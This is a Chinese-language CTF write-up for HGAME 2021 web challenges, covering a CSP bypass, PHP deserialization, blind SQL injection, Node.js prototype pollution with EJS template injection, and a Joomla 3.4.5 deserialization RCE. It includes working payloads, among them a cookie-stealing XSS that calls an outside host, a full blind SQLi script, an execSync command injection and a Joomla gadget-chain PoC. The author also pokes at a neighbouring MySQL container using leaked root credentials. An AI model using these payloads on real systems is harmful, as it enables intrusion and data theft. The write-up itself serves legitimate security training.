那么只要在 留言板 加一个 <iframe> 标签加载 /preview 就好啦:

<iframe src="/preview">

image-20210224010855095

最后爆破验证码再提交,就可以拿到 token 了。

image-20210224011054609

token 去访问 flag ,就可以拿到 flag 了。

image-20210224011242709

最后flag

hgame{simple_csp_bypass&a_small_mistake_on_the_replace_function}

Post to zuckonit another version (350):

emmm,和 Post to zuckonit2.0 差不多,只是把替换字符功能换成了查找字符了。题目地址 (http://zuckonit-2-another.0727.site:5050/)

还是从 /static/www.zip 拿到源码:

image-20210224011544348

得到的源码:

@app.route('/')
def home():
    response = make_response(render_template("index.html"))
    response.headers['Set-Cookie'] = "token=WELCOME TO HGAME 2021.;"
    response.headers['Content-Security-Policy'] = "default-src 'self'; script-src 'self';"
    return response


@app.route('/preview')
def preview():
    if session.get('substr'):
        substr = session['substr']
    else:
        substr = ""
    response = make_response(
        render_template("preview.html", substr=substr))
    return response


@app.route('/send', methods=['POST'])
def send():
    if request.form.get('content'):
        content = escape_index(request.form['content'])
        if session.get('contents'):
            content_list = session['contents']
            content_list.append(content)
        else:
            content_list = [content]
        session['contents'] = content_list
        return "post has been sent."
    else:
        return "WELCOME TO HGAME 2021 :)"


@app.route('/search', methods=["POST"])
def replace():
    if request.form.get('substr'):
        session['substr'] = escape_replace(request.form['substr'])
        return "replace success"
    else:
        return "There is no content to search any more"


@app.route('/contents', methods=["GET"])
def get_contents():
    if session.get('contents'):
        content_list = jsonify(session['contents'])
    else:
        content_list = jsonify('<i>2021-02-12</i><p>Happy New Year every guys! '
                               'Maybe it is nearly done now.</p>',
                               '<i>2021-02-11</i><p>Busy preparing for the Chinese New Year... '
                               'And I add some new features to this editor, maybe you can take a try. '
                               'But it has not done yet, I\'m not sure if it can be safe from attacks.</p>',
                               '<i>2021-02-07</i><p>so many hackers here, I am going to add some strict rules.</p>',
                               '<i>2021-02-06</i><p>I have tried to learn HTML the whole yesterday, '
                               'and I finally made this ONLINE BLOG EDITOR. Feel free to write down your thoughts.</p>',
                               '<i>2021-02-05</i><p>Yesterday, I watched <i>The Social Network</i>. '
                               'It really astonished me. Something flashed me.</p>')
    return content_list


@app.route('/code', methods=["GET"])
def get_code():
    if session.get('code'):
        return Response(response=json.dumps({'code': session['code']}), status=200, mimetype='application/json')
    else:
        code = create_code()
        session['code'] = code
        return Response(response=json.dumps({'code': code}), status=200, mimetype='application/json')


@app.route('/flag')
def show_flag():
    if request.cookies.get('token') == "29342ru89j3thisisfakecookieq983h23ijfq2ojifrnq92h2":
        return "hgame{G3t_fl@g_s0_Easy?No_way!!wryyyyyyyyy}"
    else:
        return "Only admin can get the flag, your token shows that you're not admin!"


@app.route('/clear')
def clear_session():
    session['contents'] = []
    return "ALL contents are cleared."


def escape_index(original):
    content = original
    content_iframe = re.sub(
        r"^(<?/?iframe)\s+.*?(src=[\"'][a-zA-Z/]{1,8}[\"']).*?(>?)$", r"\1 \2 \3", content)
    if content_iframe != content or re.match(r"^(<?/?iframe)\s+(src=[\"'][a-zA-Z/]{1,8}[\"'])$", content):
        return content_iframe
    else:
        content = re.sub(r"<*/?(.*?)>?", r"\1", content)
        return content


def escape_replace(original):
    content = original
    content = re.sub(r"[<>\"\\]", "", content)
    return content


def create_code():
    hashobj = hashlib.md5()
    hashobj.update(bytes(str(time.time()), encoding='utf-8'))
    code_hash = hashobj.hexdigest()[:6]
    return code_hash

Post to zuckonit2.0 差不多的趴,只是 escape_replace 函数有所不同了,多过滤了 和 *\* 。可以先看一下多出的 查找 功能:

image-20210224160616046

image-20210224160653239

可以看到会将 搜索 到的字符加上 <b> 标签,那么再看处理查找的代码:

image-20210224160818680

先将搜索的内容赋值给 content , 然后实例化一个 全局 匹配的正则表达式,赋值给 substr ,最后将内容进行 replace(substr,'<b class="search_result">${content}</b>\') 。简单来说就是会将查找的内容看作 正则表达式 ,然后对这些字符进行正则匹配,再将匹配到的结果替换成查找的 正则表达式

举个很简单的例子,比如当查找 ^[a].*$ 时,得到的结果为:

image-20210224161924400

这个 正则表达式 的意思是匹配以 ‘a’ 开头的后边是 任意字符 的内容,于是就匹配到了 abc ,并且将其替换为了这个 正则表达式 的内容 ^[a].*$ 了。这样这里的思路就比较明显了,必须得构造一个能够成功匹配并且藏有 payload正则表达式,不妨使用形如 ([任意字符]{0}) 这样的 正则表达式 。由于 [] 的意思是满足匹配 [] 中的任意一个字符,所以在 [] 里边的字符是可以输入任何字符而不会影响 正则表达式 的结构的。同时 []{0} 中的 {0} 是点睛之笔,即满足 0 个**[]** 中的字符,这样在进行 正则表达式 匹配时候就不会管 []{0} 中的 [] 里边的字符了,又能保证 ([任意字符]{0}) 能够正常的保留下来。

比如这里可以用 [a].*([哈哈哈哈]{0}) 进行匹配:

image-20210224164700016

可以发现不仅正确匹配了 [a].* 还把一些奇怪的字符给保留下来了。只是这里对 查找 功能输入的字符的过滤为以下:

def escape_replace(original):
    content = original
    content = re.sub(r"[<>\"\\]", "", content)
    return content

把 *\* 过滤了,导致不能够使用其他编码进行绕过 <** 和 **> 了,过滤了 看似是为了防止逃逸形如允许的 <iframe>domXSS (比如 <iframe src="x"> 可以以 [x]”([哈哈哈]{0}) 进行逃逸)。不过这里咋说呢,无伤大雅,因为在对 留言板 内容输入这里的正则并没有把 给过滤:

def escape_index(original):
    content = original
    content_iframe = re.sub(
        r"^(<?/?iframe)\s+.*?(src=[\"'][a-zA-Z/]{1,8}[\"']).*?(>?)$", r"\1 \2 \3", content)
    if content_iframe != content or re.match(r"^(<?/?iframe)\s+(src=[\"'][a-zA-Z/]{1,8}[\"'])$", content):
        return content_iframe
    else:
        content = re.sub(r"<*/?(.*?)>?", r"\1", content)
        return content

同时呢,在对 查找 功能的实现代码中,仅是将其用 js 追加上去并没有进行关于 过滤,这样由于浏览器容错性等因素 就会被自动替换成

比如构造一下 <iframe src='x'> ,然后用 [x]’([哈哈哈哈]{0}) :

image-20210224165435549

好家伙,成功逃逸了,现在就可以使用 <iframe>domXSS 啦。

稍微构造一下:

<[x]'([ onload=eval('fetch(`//ip:3346/`+document.cookie)') ])

image-20210224165907348

OK,完美,现在只需要给admin一个加载 /preview<iframe> 就好了:

<iframe src="/preview">

得到了 token

image-20210224170352282

emmm,拿 token 去访问 /flag 趴:

image-20210224171104849

最后flag

hgame{CSP_iS_VerY_5trlct&0nly_C@n_uSe_3vil.Js!}

Arknights (300):

emmm,可恶!德狗子yyds! 这题很简单其实。题目地址 (http://7e6dc88179.arknights.r4u.top/)

然后看起来没啥,似乎就一个网页版的 抽卡模拟器 。。吐糟一下这个 r4u 师傅好难受呀,默哀一会儿,然后再给他过过眼瘾好啦:

image-20210224172415713

image-20210224172435646

咳咳咳,这个题嘛,遇事不决,目录扫描,直接上脚本:

from ctfbox import *

bak_scan("http://7e6dc88179.arknights.r4u.top/")

得到结果:

image-20210224172535203

emmmm,显然是 .git 泄露啦,直接上脚本:

from ctfbox import *

leakdump("http://7e6dc88179.arknights.r4u.top/.git")

image-20210224181629070

各个文件的源码:

index.php

<?php
error_reporting(0);
require_once ("simulator.php");
$simulator = new Simulator();
$cards = array();
if(isset($_POST["draw"])){
    $cards = $simulator->draw($_POST["draw"]);
}
?>
<html lang="en">
<head>
    <title>Arknights</title>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <link href="static/css/bootstrap.min.css" rel="stylesheet">
    <link href="/static/css/cover.css" rel="stylesheet">
</head>
<body class="text-center">
    <div class="d-flex w-100 h-100 p-3 mx-auto flex-column">
        <header class="mastfoot mt-auto">
            <h1>非酋证明器</h1>
            <br>
            <br>
        </header>

        <main style="height: 85%">
            <div class="card own">
                <h5 class="card-header" style="color: blue">抽中的六星干员</h5>
                <div class="card-body">
                    <?php
                        $legendary = $simulator->getLegendary();
                        foreach ($legendary as $worker){

                            echo "<p class='legendary'>".$worker["type"]." ".$worker["name"]."</p>";

                        }
                    ?>
                </div>
            </div>
            <div class="card col-md-3" style="color: #007bff;width=100%;">
                <h5 class="card-header">刀客塔,你要老婆不要?</h5>
                <div class="card-body">
                    <?php
                    if(!empty($cards)){
                        echo "<h5 class=\"card-title\">抽卡结果:</h5>";
                        echo "<br>";
                    }
                    foreach ($cards as $card){
                        switch ($card["stars"]){
                            case 3:
                                echo "<p class='normal'>".$card["card"]["star"]." ".$card["card"]["type"]." ".$card["card"]["name"]."</p>";
                                break;
                            case 4:
                                echo "<p class='rare'>".$card["card"]["star"]." ".$card["card"]["type"]." ".$card["card"]["name"]."</p>";
                                break;
                            case 5:
                                echo "<p class='epic'>".$card["card"]["star"]." ".$card["card"]["type"]." ".$card["card"]["name"]."</p>";
                                break;
                            case 6:
                                echo "<p class='legendary'>".$card["card"]["star"]." ".$card["card"]["type"]." ".$card["card"]["name"]."</p>";
                                break;
                        }
                    }
                    ?>
                    <br>
                    <hr>
                    <form method="POST" action="">
                        <button class="btn btn-primary" name="draw" value="1">抽一次</button>
                        <button class="btn btn-primary" name="draw" value="10">连连连连连连连连连连!</button>
                    </form>
                </div>
            </div>

        </main>
        <footer class="mastfoot mt-auto">
            <p>Made by 109发抽不到<del>老婆</del>夕的<b>R4u</b>.</p>
        </footer>
    </div>
</body>
</html>

pool.php

<?php

    return array(
        3 => array(//%42
            array("star" => "★★★", "name" => "kokodayo~", "type" => "狙击"),
            array("star" => "★★★", "name" => "泡普卡", "type" => "近卫"),
            array("star" => "★★★", "name" => "炎熔", "type" => "术士"),
            array("star" => "★★★", "name" => "斑点", "type" => "重装"),
            array("star" => "★★★", "name" => "香草", "type" => "先锋"),
            array("star" => "★★★", "name" => "粉毛猛男", "type" => "医疗"),
            array("star" => "★★★", "name" => "翎羽", "type" => "先锋"),
            array("star" => "★★★", "name" => "泡普卡", "type" => "近卫"),
            array("star" => "★★★", "name" => "卡缇", "type" => "重装"),
            array("star" => "★★★", "name" => "米格鲁", "type" => "重装"),
            array("star" => "★★★", "name" => "安德切尔", "type" => "狙击"),
            array("star" => "★★★", "name" => "芙蓉", "type" => "医疗"),
            array("star" => "★★★", "name" => "梓兰", "type" => "特种")
        ),
        4 => array(//%48
            array("star" => "★★★★", "name" => "NTR", "type" =>"重装"),
            array("star" => "★★★★", "name" => "孑哥", "type" =>"特种"),
            array("star" => "★★★★", "name" => "流泪富婆猫猫头", "type" =>"狙击"),
            array("star" => "★★★★", "name" => "你滴龟神", "type" =>"重装"),
            array("star" => "★★★★", "name" => "某法国干员", "type" =>"先锋"),
            array("star" => "★★★★", "name" => "某暴力医生", "type" =>"医疗"),
            array("star" => "★★★★", "name" => "台词烫嘴", "type" =>"特种"),
            array("star" => "★★★★", "name" => "FF0", "type" =>"医疗"),

        ),
        5 => array(//%8
            array("star" => "★★★★★", "name" => "玫剑圣", "type" => "近卫"),
            array("star" => "★★★★★", "name" => "不准你休息的驴", "type" => "术士/近卫"),
            array("star" => "★★★★★", "name" => "德克萨斯", "type" => "先锋"),
            array("star" => "★★★★★", "name" => "德克萨斯做得到吗", "type" => "近卫"),
        ) ,
        6 => array(//%2
            array("star" => "★★★★★★", "name" => "r4u的女朋友夕", "type" =>"术士"),
            array("star" => "★★★★★★", "name" => "r4u的老婆年", "type" =>"重装"),
            array("star" => "★★★★★★", "name" => "花泽香菜", "type" =>"重装"),
            array("star" => "★★★★★★", "name" => "推王", "type" =>"先锋"),
            array("star" => "★★★★★★", "name" => "蒂蒂", "type" =>"近卫"),
            array("star" => "★★★★★★", "name" => "小羊", "type" =>"术士"),
            array("star" => "★★★★★★", "name" => "银老板", "type" =>"近卫"),

        )
    );

simulator.php

<?php

class Simulator{

    public $session;
    public $cardsPool;

    public function __construct(){

        $this->session = new Session();
        if(array_key_exists("session", $_COOKIE)){
            $this->session->extract($_COOKIE["session"]);
        }

        $this->cardsPool = new CardsPool("./pool.php");
        $this->cardsPool->init();
    }

    public function draw($count){
        $result = array();

        for($i=0; $i<$count; $i++){
            $card = $this->cardsPool->draw();

            if($card["stars"] == 6){
                $this->session->set('', $card["No"]);
            }

            $result[] = $card;
        }

        $this->session->save();

        return $result;
    }

    public function getLegendary(){
        $six = array();

        $data = $this->session->getAll();
        foreach ($data as $item) {
            $six[] = $this->cardsPool->cards[6][$item];
        }

        return $six;
    }
}

class CardsPool
{

    public $cards;
    private $file;

    public function __construct($filePath)
    {
        if (file_exists($filePath)) {
            $this->file = $filePath;
        } else {
            die("Cards pool file doesn't exist!");
        }
    }

    public function draw()
    {
        $rand = mt_rand(1, 100);
        $level = 0;

        if ($rand >= 1 && $rand <= 42) {
            $level = 3;
        } elseif ($rand >= 43 && $rand <= 90) {
            $level = 4;
        } elseif ($rand >= 91 && $rand <= 99) {
            $level = 5;
        } elseif ($rand == 100) {
            $level = 6;
        }

        $rand_key = array_rand($this->cards[$level]);

        return array(
            "stars" => $level,
            "No" => $rand_key,
            "card" => $this->cards[$level][$rand_key]
        );
    }

    public function init()
    {
        $this->cards = include($this->file);
    }

    public function __toString(){
        return file_get_contents($this->file);
    }
}


class Session{

    private $sessionData;

    const SECRET_KEY = "7tH1PKviC9ncELTA1fPysf6NYq7z7IA9";

    public function __construct(){}

    public function set($key, $value){
        if(empty($key)){
            $this->sessionData[] = $value;
        }else{
            $this->sessionData[$key] = $value;
        }
    }

    public function getAll(){
        return $this->sessionData;
    }


    public function save(){

        $serialized = serialize($this->sessionData);
        $sign = base64_encode(md5($serialized . self::SECRET_KEY));
        $value = base64_encode($serialized) . "." . $sign;

        setcookie("session",$value);
    }


    public function extract($session){

        $sess_array = explode(".", $session);
        $data = base64_decode($sess_array[0]);
        $sign = base64_decode($sess_array[1]);

        if($sign === md5($data . self::SECRET_KEY)){
            $this->sessionData = unserialize($data);
        }else{
            unset($this->sessionData);
            die("Go away! You hacker!");
        }
    }
}


class Eeeeeeevallllllll{
    public $msg="坏坏liki到此一游";

    public function __destruct()
    {
        echo $this->msg;
    }
}

emmm,显然就是反序列化了。刚刚目录扫描得知得去读 flag.php ,而实际上 EEeeeeeevallllllll 类的 __destuct() 方法中的 echo $this->msg; , 若将 $this->msg 值设为 CardPool 类,

class Eeeeeeevallllllll{
    public $msg="坏坏liki到此一游";

    public function __destruct()
    {
        echo $this->msg;
    }
}

配合上 CardsPool 类的 __toString() 方法中的 return file_get_contents($this->file) ,再将 $this->file 设为 ./flag.php 就可以实现任意读 flag 了。

class CardsPool
{
    //......
    public function __toString(){
        return file_get_contents($this->file);
    }
}

Session 类中的 extract() 方法中则有一段在验证密钥后可以进行 反序列化 的代码。

class Session{

    # 这里密钥都给你啦!
    const SECRET_KEY = "7tH1PKviC9ncELTA1fPysf6NYq7z7IA9";
	
    //......
    public function extract($session){

        $sess_array = explode(".", $session);
        $data = base64_decode($sess_array[0]);
        $sign = base64_decode($sess_array[1]);

        if($sign === md5($data . self::SECRET_KEY)){
            $this->sessionData = unserialize($data);
        }else{
            unset($this->sessionData);
            die("Go away! You hacker!");
        }
    }
}

而在 Simulator 类中的 __construct() 方法中会将 $_COOKIE["session"] 作为参数调用 Session 类的 extract() 方法。

class Simulator{

    public $session;
    public $cardsPool;

	//......

    public function __construct(){

        $this->session = new Session();
        if(array_key_exists("session", $_COOKIE)){
            $this->session->extract($_COOKIE["session"]);
        }

        $this->cardsPool = new CardsPool("./pool.php");
        $this->cardsPool->init();
    }

}

index.php 文件中刚好有对 Simulator 类的实例化:

image-20210224183303296

显而易见,这里就得利用 Sessionextract() 方法去反序列化一个合适的 Eeeeeeevallllllll 类就好了,直接上 payload 趴:

<?php

class CardsPool
{
	private $file;
	function __construct(){
		$this->file = './flag.php';
	}
}

class Eeeeeeevallllllll{
    public $msg;
	function __construct(){
		$this->msg = new CardsPool();
	}
}

$key = '7tH1PKviC9ncELTA1fPysf6NYq7z7IA9';
$serialize = serialize(new Eeeeeeevallllllll());
echo join('.',array_map("base64_encode",[$serialize,md5($serialize.$key)]));

生成结果:

TzoxNzoiRWVlZWVlZXZhbGxsbGxsbGwiOjE6e3M6MzoibXNnIjtPOjk6IkNhcmRzUG9vbCI6MTp7czoxNToiAENhcmRzUG9vbABmaWxlIjtzOjEwOiIuL2ZsYWcucGhwIjt9fQ==.NjhlZTBkNGQyMTM4ZjNmYWU3ZDI2Y2QzYWQ1OTFkZWQ=

放到 session 键名的 COOKIE 里边就行了:

image-20210224184148369

最后flag

hgame{XI-4Nd-n!AN-D0e5Nt_eX|5T~4t_ALL}

WEEK4:


WEB:

Unforgettable (450):

这题有点脑洞了噢。考点单一,解题过程很奇葩,不是个好题。题目地址 (https://unforgettable.liki.link/)

这个题目的前端UI和 Forgetful 差不多,这里先随便注册一个账号然后登录:

image-20210224184706009

还是一样的功能,只是 ssti 似乎不太行了:

image-20210224184756096

然后简单检查了一下用户信息,盲猜是一个 sql二次注入 + ssti

image-20210224185051395

只是用户名是没有 ssti 点了:

image-20210224185158506

邮箱也做了严格的正则:

image-20210224185231752

于是就猜或许用户名这边会存在注入,或许可以构造形如:

dq'union(select(1,2,3))#

然而:

image-20210224185353964

emmm,试试别的:

dq'^if(1,0,1)#

结果:

image-20210224185709012

但是一点进去:

image-20210224185734413

emmm,用户名是变了,说明这里确实是存在注入的。

总体思路就是先注册比如 dq 用户,然后注册包含 dq’^if([自由发挥],0,1)#sql 语句的用户名,登录并且查看用户信息,就可以达到 盲注 了,不过令人恶心的是,这玩意需要用 邮箱 进行登录,所以得构造 随机邮箱

之后又试了一下,发现 substr substring mid 等等这种截取字符串的函数是被 ban 了。不过实际上可以用形如 right(left('???',N),1) 来达到选取第 N 个字符的效果。

这里就直接简单写一个脚本好了:

from requests import session
from os import urandom
s = session()

reg = "https://unforgettable.liki.link/register"
login = "https://unforgettable.liki.link/login"
check = "https://unforgettable.liki.link/user"


userInfo = {
    "username":"",
    "email":"",
    "password":"1"
}

p1 = "dq'/**//**//**/^if((select(right((left(lpad(bin(ord(left((left(user(),%d)),1))),7,'0'),%d)),1))),0,1)#"
p1 = "dq'/**//**//**/^if((select(right((left(lpad(bin(ord(right((left((select(group_concat(table_name))from(information_schema.tables)where(table_schema/**/regexp/**/database())),%d)),1))),7,'0'),%d)),1))),0,1)#"
p1 = "dq'/**//**//**/^if((select(right((left(lpad(bin(ord(right((left((select(group_concat(column_name))from(information_schema.columns)where(table_name/**/regexp/**/'ffflllaagggg')),%d)),1))),7,'0'),%d)),1))),0,1)#"
p1 = "dq'/**//**//**/^if((select(right((left(lpad(bin(ord(right((left((select(group_concat(ffllllaaaagg))from(ffflllaagggg)),%d)),1))),7,'0'),%d)),1))),0,1)#"

def go():

    i, j = 0, ""
    result = ""
    while True:
        i += 1
        j = ""
        for bit in range(1,8):
            useranme = p1%(i,bit)
            email = urandom(16).hex()+"@dq.v5"
            password = "1"


            userInfo.update({
                "username": useranme,
                "email": email,
                "password": password
            })

            a = s.post(reg, data=userInfo)


            b = s.post(login,data={
                "email":email,
                "password":password
            })
            g = s.get(check)

            if "username" in g.text:
                j += '1'
            else:
                j += '0'

        if (j == '0000000'):
            break
        else:
            result += chr(int(j, 2))
            print(result)

    print(("Result:", result))

if __name__ == '__main__':
    go()

只是美中不足的是如果用 right(left('???',N),1) 有一个缺点,无法判断当前字符串是否结尾了。因为 left('xxx',4) 得到的是 xxx,并不是 left('xxx\00') 之类的玩意。这里就得凭感觉辽。

那么跑一下趴:

image-20210224190645487

这里看感觉拿 flag 了。

最后flag

hgame{0rm_i5_th3_s0lu7ion}

漫无止境的星期日 (400):

终于做到 nodejs 题了。。题目地址 (http://macguffin.0727.site:5000/)

会有源码提示:

image-20210224191051501

然后只有一个 app.js 文件:

const express = require('express')
const bodyParser = require('body-parser')
const session = require('express-session')
const randomize = require('randomatic')
const ejs = require('ejs');
const path = require("path");

const app = express()
app.use(bodyParser.urlencoded({ extended: true })).use(bodyParser.json())
app.use('/static', express.static('static'))
app.use(session({
    name: 'session',
    secret: randomize('aA0', 16),
    resave: false,
    saveUninitialized: false
}))

app.set('views', './views')
app.set('view engine', 'ejs')

app.all('/', (req, res) => {
    let data = { name: "", discription: "" }
    if (req.ip === "::ffff:127.0.0.1") {
        data.crying = true
    }
    if (req.method == 'POST') {
        Object.keys(req.body).forEach((key) => {
            if (key !== "crying") {
                data[key] = req.body[key]
            }
        })
        req.session.crying = data.crying
        req.session.name = data.name
        req.session.discription = data.discription

        return res.redirect(302, '/show');
    }

    return res.render('loop')
})

app.all('/show', (req, res) => {
    if (!req.session.name || !req.session.discription) {
        return res.redirect(302, '/');
    }

    let wishes = req.session.wishes ? req.session.wishes : ""

    return res.render('show', {
        name: req.session.name,
        discription: req.session.discription,
        wishes: wishes
    })

})

app.all('/wish', (req, res) => {
    if (!req.session.crying) {
        return res.send("forbidden.")
    }

    if (req.method == 'POST') {
        let wishes = req.body.wishes
        req.session.wishes = ejs.render(`<div class="wishes">${wishes}</div>`)
        return res.redirect(302, '/show');
    }

    return res.render('wish');
})

app.listen(3000, () => console.log(`App start on port 3000!`))

简单的分析一下,如果在 / 路由这里能让 req.session.crying = 1

app.all('/', (req, res) => {
    let data = { name: "", discription: "" }
    if (req.ip === "::ffff:127.0.0.1") {
        data.crying = true
    }
    if (req.method == 'POST') {
        Object.keys(req.body).forEach((key) => {
            if (key !== "crying") {
                data[key] = req.body[key]
            }
        })
        req.session.crying = data.crying
        req.session.name = data.name
        req.session.discription = data.discription

        returnres.redirect(302, '/show');
    }

    return res.render('loop')
})

然后在 /wish 路由这里,就可以提交一个 wishes 参数,并将内容给ejs渲染了:

app.all('/wish', (req, res) => {
    if (!req.session.crying) {
        return res.send("forbidden.")
    }

    if (req.method == 'POST') {
        let wishes = req.body.wishes
        req.session.wishes = ejs.render(`<div class="wishes">${wishes}</div>`)
        return res.redirect(302, '/show');
    }

    return res.render('wish');
})

渲染的结果会在 /show 路由中显示出来:

app.all('/show', (req, res) => {
    if (!req.session.name || !req.session.discription) {
        return res.redirect(302, '/');
    }

    let wishes = req.session.wishes ? req.session.wishes : ""

    return res.render('show', {
        name: req.session.name,
        discription: req.session.discription,
        wishes: wishes
    })

})

那么这题显然就是考 ejs模板注入 了。现在首要做的是如何将 req.session.crying=1 给搞上, 在 / 路由的源码中有一个重要的部分:

 Object.keys(req.body).forEach((key) => {
            if (key !== "crying") {
                data[key] = req.body[key]
            }
        })
req.session.crying = data.crying

会将接收到的参数先解析到 data 变量中,然后再将 data 变量的值赋值给 req.session.crying。OK,这里率先想到的即是 原生链污染 了。可以构造一个简单的 payload

__proto__={"crying":1}&name=dq&discription=v5

不过还得注意的是,如果只是单纯的将 POST 请求参数传过去,只会被当作字符串来解析的,比如本地测试一下:

app.all('/a', (req, res) => {
    let data = { name: "", discription: "" }
    if (req.method == 'POST') {
		console.log(req.body);
        Object.keys(req.body).forEach((key) => {
			console.log(req.body[key]);
            if (key !== "crying") {
                data[key] = req.body[key]
            }
        })
		console.log(data.crying);
    }
});

得到结果:

image-20210224192443155

可以看到,{"crying":1} 被当作字符串来解析了,data.crying 的值并没有被赋值上。

而这个题目巧就巧在有一段代码:

app.use(bodyParser.urlencoded({ extended: true })).use(bodyParser.json())

这就允许了将 POST 请求的参数当作 JSON 来解析了,这样只需要在 POSTbody 部分传个 JSON 内容就行了(记得改请求标头)。这里可以用以下的 payload

{"__proto__":{"crying":1},"name":"dq","discription":"v5"}

本地测试一下:

image-20210224192931536

可以看到 data.crying 的值被赋值为 1 了,也就是成功污染了。

放到题目就行了:

image-20210224193150199

然后成功访问 /wish 路由:

image-20210224193212856

由于这个 ejs模板注入wish 并没有做太多过滤,这里直接简单的上一下 payload 就好了:

<%for(item in this){%><%=item.toString()%><%}%>

OK,确实存在注入:

image-20210224193543331

那就直接调用系统命令趴:

<%=this.global.process.mainModule.require('child_process').execSync("cat /flag")%>

拿到了 flag

image-20210224193743719

最后flag

hgame{nOdeJs_Prot0type_ls_fUnny&Ejs_Templ@te_Injection}

joomlaJoomla!!!!! (450):

没啥好说的,这题有点捞呀。题目地址 (http://cee43f6893.joomla.r4u.top:6788/)

题目给了源码附件,地址 (http://1.oss.hgame2021.vidar.club/joomlaJoomla.zip) 。

emmm,这是一个 joomla 框架,然后源码给的是 3.4.5 版本的:

image-20210224200125589

直接到 github 去把真的 jomla3.4.5 给下了 (https://codeload.github.com/joomla/joomla-cms/zip/3.4.5) ,然后用 Beyond Compare 4 进行比对,发现 session.php 被改了:

image-20210224200223499

改变的内容为:

image-20210224200244686

$pos = strpos($_SERVER['HTTP_X_FORWARDED_FOR'],'|');
		    if($pos){
		        $_SERVER['HTTP_X_FORWARDED_FOR'] = substr_replace($_SERVER['HTTP_X_FORWARDED_FOR'],'',$pos,strlen('|'));
            }
# 以及
$pos = strpos($_SERVER['HTTP_USER_AGENT'],'|');
                if($pos){
                    $_SERVER['HTTP_USER_AGENT'] = substr_replace($_SERVER['HTTP_USER_AGENT'],'',$pos,strlen('|'));
                }

emmm,这里多了 substr_replace 函数,看起来是想把其中的 | 给替换成 ‘’ ,但这里实际上是有错的。

substr_replace

(PHP 4, PHP 5, PHP 7)

substr_replace — 替换字符串的子串

说明

substr_replace ( mixed $string , mixed $replacement , mixed $start [, mixed $length ] ) : mixed

substr_replace() 在字符串 string 的副本中将由 start 和可选的 length 参数限定的子字符串使用 replacement 进行替换。

参数

  • string

    输入字符串。An array of strings can be provided, in which case the replacements will occur on each string in turn. In this case, the replacement, start and length parameters may be provided either as scalar values to be applied to each input string in turn, or as arrays, in which case the corresponding array element will be used for each input string.

  • replacement

    替换字符串。

  • start

    如果 start 为正数,替换将从 stringstart 位置开始。如果 start 为负数,替换将从 string 的倒数第 start 个位置开始。

  • length

    如果设定了这个参数并且为正数,表示 string 中被替换的子字符串的长度。如果设定为负数,它表示待替换的子字符串结尾处距离 string 末端的字符个数。如果没有提供此参数,那么它默认为 strlen( string ) (字符串的长度)。当然,如果 length 为 0,那么这个函数的功能为将 replacement 插入到 stringstart 位置处。

以题目的源码为例:

# 查找到第一个 | 的位置
$pos = strpos($_SERVER['HTTP_USER_AGENT'],'|');
# 如果找到
if($pos){
    # 这个替换的意思是从 [找到 | 的位置] 开始,往后 [1 (strlen('|')谜之操作。。)] 的长度,的所有 '|' 替换成 ''
    # 这实际上等价于将找到的第一个 | 替换成 '' ,仅此而已
    $_SERVER['HTTP_USER_AGENT'] = substr_replace($_SERVER['HTTP_USER_AGENT'],'',$pos,strlen('|'));
}

所以。。只要多加一个 ‘|’ 这多加的内容相当于没用了。

那么这里可以search一下 joomla3.4.5 的漏洞趴。。。呃网上直接有现成的 payload 了,没啥好说的,这是一个从 user-agent 或者 x-forwarded-for 输入反序列化漏洞:

<?php
class JSimplepieFactory {
}
class JDatabaseDriverMysql {

}
class SimplePie {
    var $sanitize;
    var $cache;
    var $cache_name_function;
    var $javascript;
    var $feed_url;
    function __construct()
    {
        $this->feed_url = "print(`\$_GET[1]`);JFactory::getConfig();exit;";
        $this->javascript = 9999;
        $this->cache_name_function = "assert";
        $this->sanitize = new JDatabaseDriverMysql();
        $this->cache = true;
    }
}

class JDatabaseDriverMysqli {
    protected $a;
    protected $disconnectHandlers;
    protected $connection;
    function __construct()
    {
        $this->a = new JSimplepieFactory();
        $x = new SimplePie();
        $this->connection = 1;
        $this->disconnectHandlers = [
            [$x, "init"],
        ];
    }
}

$a = new JDatabaseDriverMysqli();
$poc = serialize($a);

$poc = str_replace("\x00*\x00", '\\0\\0\\0', $poc);

$poc = base64_encode("123}__test||{$poc}\xF0\x9D\x8C\x86");
echo $poc;

。。。 这里直接用就好啦,因为这个版本比较老,审计整个漏洞的过程可能会有些繁琐(主要还是意义不大,后边有时间再给补上趴)。

那么先生成 payload

MTIzfV9fdGVzdHx8TzoyMToiSkRhdGFiYXNlRHJpdmVyTXlzcWxpIjozOntzOjQ6IlwwXDBcMGEiO086MTc6IkpTaW1wbGVwaWVGYWN0b3J5IjowOnt9czoyMToiXDBcMFwwZGlzY29ubmVjdEhhbmRsZXJzIjthOjE6e2k6MDthOjI6e2k6MDtPOjk6IlNpbXBsZVBpZSI6NTp7czo4OiJzYW5pdGl6ZSI7TzoyMDoiSkRhdGFiYXNlRHJpdmVyTXlzcWwiOjA6e31zOjU6ImNhY2hlIjtiOjE7czoxOToiY2FjaGVfbmFtZV9mdW5jdGlvbiI7czo2OiJhc3NlcnQiO3M6MTA6ImphdmFzY3JpcHQiO2k6OTk5OTtzOjg6ImZlZWRfdXJsIjtzOjQ1OiJwcmludChgJF9HRVRbMV1gKTtKRmFjdG9yeTo6Z2V0Q29uZmlnKCk7ZXhpdDsiO31pOjE7czo0OiJpbml0Ijt9fXM6MTM6IlwwXDBcMGNvbm5lY3Rpb24iO2k6MTt98J2Mhg==

然后放到 user-agent 里边后,把它给解码了,形如:

image-20210224201502464

访问一次,拿到 COOKIE

image-20210224201533141

emmm,之后由于我这里执行的代码为:

print(`\$_GET[1]`);JFactory::getConfig();exit;

那么,这里带上 COOKIE 去弹个shell趴,不妨用 完整shell 脚本2333:

image-20210224201811319

emmm,行啦,最后读 flag 就行了。

image-20210224201905418

噢对了,这里还有个题外话,就是这源码把那啥 msyql 的用户密码啥的都给泄露了:

image-20210224202017680

这里看起来显然 mysql:3306 是另一个容器咯,那么简单写一个 php 脚本去玩玩:

image-20210224202143283

然后。。emmm,果然是 root 用户2333:

image-20210224202222434

那就可以做啥都行了,比如。。删库跑路 。。。 emmm,确实可以做,不过做个善良的人趴),希望题目没事🙏🙏。

image-20210224202552287

这题拿了个2血,真水题,没啥感觉。

最后flag

hgame{WelCoME~TO-ThIs_Re4Lw0RLD}

最后放一张图趴:

image-20210227202002635

命运可真伤脑筋,诶呀诶呀